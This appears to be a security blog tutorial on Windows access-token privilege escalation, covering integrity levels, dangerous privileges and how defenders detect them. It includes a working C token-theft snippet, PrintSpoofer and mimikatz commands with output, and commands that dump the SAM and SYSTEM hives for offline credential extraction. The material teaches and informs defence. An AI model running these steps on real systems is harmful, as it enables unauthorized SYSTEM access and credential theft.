Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Every thread and process on Windows carries an access token — the kernel object that answers the question “who is this, and what are they allowed to do?” every time code touches a securable object. A token bundles the user’s SID, the SIDs of every group the user belongs to, a list of privileges (the Se*Privilege rights), a mandatory integrity level, and metadata such as the token type (primary vs impersonation) and, on modern systems, the UAC elevation state. When the Security Reference Monitor evaluates a DACL, it does so entirely against the token presented — not against the human sitting at the keyboard. That indirection is what makes tokens both the backbone of Windows access control and one of the richest local privilege-escalation surfaces on the platform.
Understanding tokens matters because most Windows privilege escalation is not a memory-corruption exploit — it is token manipulation. A service account that holds SeImpersonatePrivilege can, through a chain of documented Windows APIs, end up running code as SYSTEM without a single CVE. An integrity level set too low silently blocks writes an attacker expected to succeed; one set too high hands over the machine. This article walks the token structure end to end: integrity levels, the privileges that actually matter offensively, how impersonation converts a privilege into a SYSTEM shell, and how defenders see the whole thing in telemetry.
Attack Prerequisites
Token-based escalation assumes you already have code execution in some context and want to move up. The specific ingredients vary by technique, but the common ones are:
- Code execution as a service account —
LOCAL SERVICE,NETWORK SERVICE, an IISAppPool\<name>identity, or a SQL Server service account. These accounts are unprivileged in most respects but frequently holdSeImpersonatePrivilegeandSeAssignPrimaryTokenPrivilege. - A held privilege worth abusing —
SeImpersonatePrivilege,SeBackupPrivilege,SeRestorePrivilege,SeDebugPrivilege,SeTakeOwnershipPrivilege,SeLoadDriverPrivilege, orSeTcbPrivilege. Confirm withwhoami /priv. - Medium integrity or higher for most useful writes; a Low-integrity context (a sandboxed browser tab) must first escape to Medium.
- For impersonation: the ability to obtain a token to impersonate — usually by coercing a privileged process into authenticating to a listener you control (the “potato” family) or by opening an existing privileged process with
SeDebugPrivilege.
How It Works
Windows defines integrity as a mandatory control that sits above the discretionary ACL. Each token carries an integrity SID — S-1-16-0 (Untrusted), S-1-16-4096 (Low), S-1-16-8192 (Medium), S-1-16-12288 (High), and S-1-16-16384 (System) — and each securable object can carry a mandatory label with a policy such as NO_WRITE_UP. A Low-integrity process cannot write to a Medium-integrity object even if the DACL would otherwise allow it, which is exactly why the AppContainer/Protected-Mode browser sandbox runs Low: a compromised renderer cannot scribble on the user’s Medium-integrity files. Standard users run Medium; elevated (UAC-confirmed) admins run High; core OS services run System. Escalation, in integrity terms, means moving your token’s label upward — which is generally a side effect of acquiring a higher-integrity token, not something you set directly.
Privileges are the other half. Unlike group membership, a privilege is a named capability the Local Security Authority grants a logon session, and many privileges are effectively “become SYSTEM” in a trench coat. SeDebugPrivilege lets you open any process — including LSASS — with full access, so you can inject or steal its token. SeBackupPrivilege and SeRestorePrivilege grant read/write that bypasses the DACL entirely, enough to read the SAM hive or overwrite a privileged binary. SeTakeOwnershipPrivilege lets you seize any object and rewrite its ACL. SeLoadDriverPrivilege loads kernel code. And SeImpersonatePrivilege — the crown jewel of service-account escalation — lets a thread run under the security context of any token it can get its hands on.
Impersonation is the mechanism that ties privileges to tokens. Tokens come in two flavors: a primary token attached to a process, and an impersonation token a thread can wear temporarily. When a service is coerced into authenticating to code the attacker controls, that authentication yields an impersonation token for the privileged caller. SeImpersonatePrivilege is the right that permits a thread to *assume* that token, and CreateProcessWithTokenW (which itself requires the privilege) or CreateProcessAsUserW (which requires SeAssignPrimaryTokenPrivilege) then spawns a new process as that identity. The result is a SYSTEM process created by an account that was never an administrator — no exploit, just the intended behavior of documented APIs stitched together.
Vulnerable Code / Configuration
The enabling condition is almost always an over-privileged service identity. Enumerating your own token is the first move — the presence of SeImpersonatePrivilege in Enabled state on a service account is the tell:
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeImpersonatePrivilege Impersonate a client after auth Enabled
SeCreateGlobalPrivilege Create global objects Enabled
C:\> whoami /groups | findstr /i "Mandatory Level"
Mandatory Label\High Mandatory Level Label S-1-16-12288
TEXTAny code running as this identity is one impersonation away from SYSTEM. The canonical proof is the Windows API chain itself — open a target process token, duplicate it to a primary token, and launch a shell with it. The snippet below is the textbook SeDebugPrivilege variant that steals SYSTEM from an existing process such as winlogon.exe:
// Requires SeDebugPrivilege (enable it first with AdjustTokenPrivileges).
HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, systemPid);
HANDLE hTok, hDup;
OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_QUERY, &hTok);
DuplicateTokenEx(hTok, MAXIMUM_ALLOWED, NULL,
SecurityImpersonation, TokenPrimary, &hDup);
// CreateProcessWithTokenW needs SeImpersonatePrivilege;
// CreateProcessAsUserW needs SeAssignPrimaryTokenPrivilege.
CreateProcessWithTokenW(hDup, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe",
NULL, 0, NULL, NULL, &si, &pi);
CThe equally common misconfiguration is a scheduled task or service that runs as SYSTEM but whose on-disk binary or containing directory is writable by a lower-privileged user, or a service whose token retains a privilege the operator never intended. The service host’s own privilege set is defined in its registry configuration; an administrator who adds SeImpersonatePrivilege to a custom service to “make impersonation work” widens this surface directly:
; Service privilege grants are visible in the SCM configuration.
C:\> sc qprivs MyCustomSvc
[SC] QueryServiceConfig2 SUCCESS
SERVICE_NAME: MyCustomSvc
PRIVILEGES : SeImpersonatePrivilege
SeAssignPrimaryTokenPrivilege
TEXTWalkthrough / Exploitation
The realistic end-to-end path from a service account starts with confirming the privilege, then coercing an authentication. The “potato” techniques all trick a SYSTEM process into authenticating to a local listener; the operator impersonates the resulting token. PrintSpoofer abuses the print spooler’s named pipe, while RoguePotato and GodPotato use RPC/DCOM OXID resolution. The invocation is deliberately simple because all the machinery is the API chain above:
:: From a shell running as an IIS AppPool / service identity with
:: SeImpersonatePrivilege. PrintSpoofer relays the spooler's token.
C:\> PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
C:\> whoami
nt authority\system
TEXTIf instead you already hold SeDebugPrivilege (common for backup and monitoring agents), skip the coercion entirely and steal a token from a live SYSTEM process. Mimikatz packages this as a single command, and Meterpreter’s incognito extension enumerates and impersonates delegation tokens the same way:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
-> Impersonated!
* Process Token : {...} Medium -> {...} System
TEXTWith SeBackupPrivilege, the escalation is data-centric rather than token-centric: the privilege lets you read files the DACL forbids, so you copy the registry hives and extract secrets offline — a technique that chains naturally into credential attacks (see the companion article on Volume Shadow Copies). SeRestorePrivilege is its write-side twin, letting you overwrite a privileged binary or plant a service:
:: SeBackupPrivilege bypasses the DACL on the hives.
C:\> reg save HKLM\SAM C:\Windows\Temp\sam.save
C:\> reg save HKLM\SYSTEM C:\Windows\Temp\system.save
:: Then, offline, on the attacker host:
$ secretsdump.py -sam sam.save -system system.save LOCAL
TEXTThe common thread is that none of these steps exploit a bug. They compose documented behavior — OpenProcessToken, DuplicateTokenEx, CreateProcessWithTokenW, and the privileges that gate them — into a full escalation, which is precisely why token hardening is about *not granting the privilege* rather than patching.
Note:
CreateProcessWithTokenWrequiresSeImpersonatePrivilege;CreateProcessAsUserWrequiresSeAssignPrimaryTokenPrivilege. Service accounts usually hold both, which is why every potato tool offers both code paths and falls back automatically. Note also that impersonation tokens have an impersonation level — onlySecurityImpersonationorSecurityDelegationtokens are useful for spawning processes; aSecurityIdentificationtoken lets you check identity but not act as it, a detail that trips up first attempts at token theft.
Opsec: UAC muddies enumeration: an administrator in the default configuration holds two tokens — a filtered Medium-integrity token used by default and a full High-integrity token available after elevation.
whoami /privfrom a non-elevated admin prompt shows a *stripped* privilege list, soSeDebugPrivilegeappearing absent does not mean it is unavailable; it means you are running on the filtered token and need to elevate first.
Detection and Defense
Token abuse is high-signal if you are watching the right events, and largely preventable by minimizing which identities hold dangerous privileges:
- Audit sensitive privilege use — enable *Audit Sensitive Privilege Use* and watch Security Event ID 4673 (privileged service called) and 4674 (operation on privileged object); 4703/4704 cover privilege adjustment and assignment.
- Watch for token manipulation — Event ID 4624 logon events with Logon Type 9 (NewCredentials) and 4672 (special privileges assigned to new logon) frequently accompany impersonation; correlate a service account suddenly spawning
cmd.exe/powershell.exeas SYSTEM. - Minimize privilege grants — do not add
SeImpersonatePrivilegeorSeAssignPrimaryTokenPrivilegeto custom services that do not require them; audit existing grants withsc qprivs <svc>and remove excess withsc privs. - Deploy least-privilege service identities — prefer virtual/managed service accounts and constrain them; patch the spooler and disable it where unused to close the
PrintSpooferpath. - EDR behavioral rules — flag the
DuplicateTokenEx->CreateProcessWithTokenWsequence, and any process whose parent integrity or SID differs from its own in a way consistent with token theft. - Constrain
SeDebugPrivilege— it is granted to Administrators by default; restrict membership and monitor its use, since it is the master key to LSASS.
Real-World Impact
The potato lineage — Hot Potato, RottenPotato, JuicyPotato, RoguePotato, PrintSpoofer, and GodPotato — has been a mainstay of Windows internal assessments for the better part of a decade precisely because SeImpersonatePrivilege is the default on IIS and SQL service identities. Any web-app or database compromise that lands a shell as an application-pool account is, in practice, one tool away from SYSTEM. Token impersonation is catalogued by MITRE ATT&CK as T1134 (Access Token Manipulation), and SeBackupPrivilege-driven hive theft underpins a large share of credential extraction seen in real intrusions. The durable lesson from countless engagements is that Windows privilege escalation is far more often a configuration problem — an identity holding a privilege it never needed — than a software vulnerability.
Conclusion
Access tokens are where Windows identity, integrity, and privilege converge, and that makes them the single most productive local-escalation surface on the OS. The offensive playbook is small and stable: read your token with whoami /priv, find a dangerous privilege, and compose it with impersonation into a SYSTEM process. The defensive playbook mirrors it exactly — grant SeImpersonate, SeAssignPrimaryToken, SeDebug, SeBackup, and SeRestore to as few identities as possible, audit sensitive privilege use, and treat any service account holding these rights as a SYSTEM-equivalent asset that deserves SYSTEM-equivalent scrutiny.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments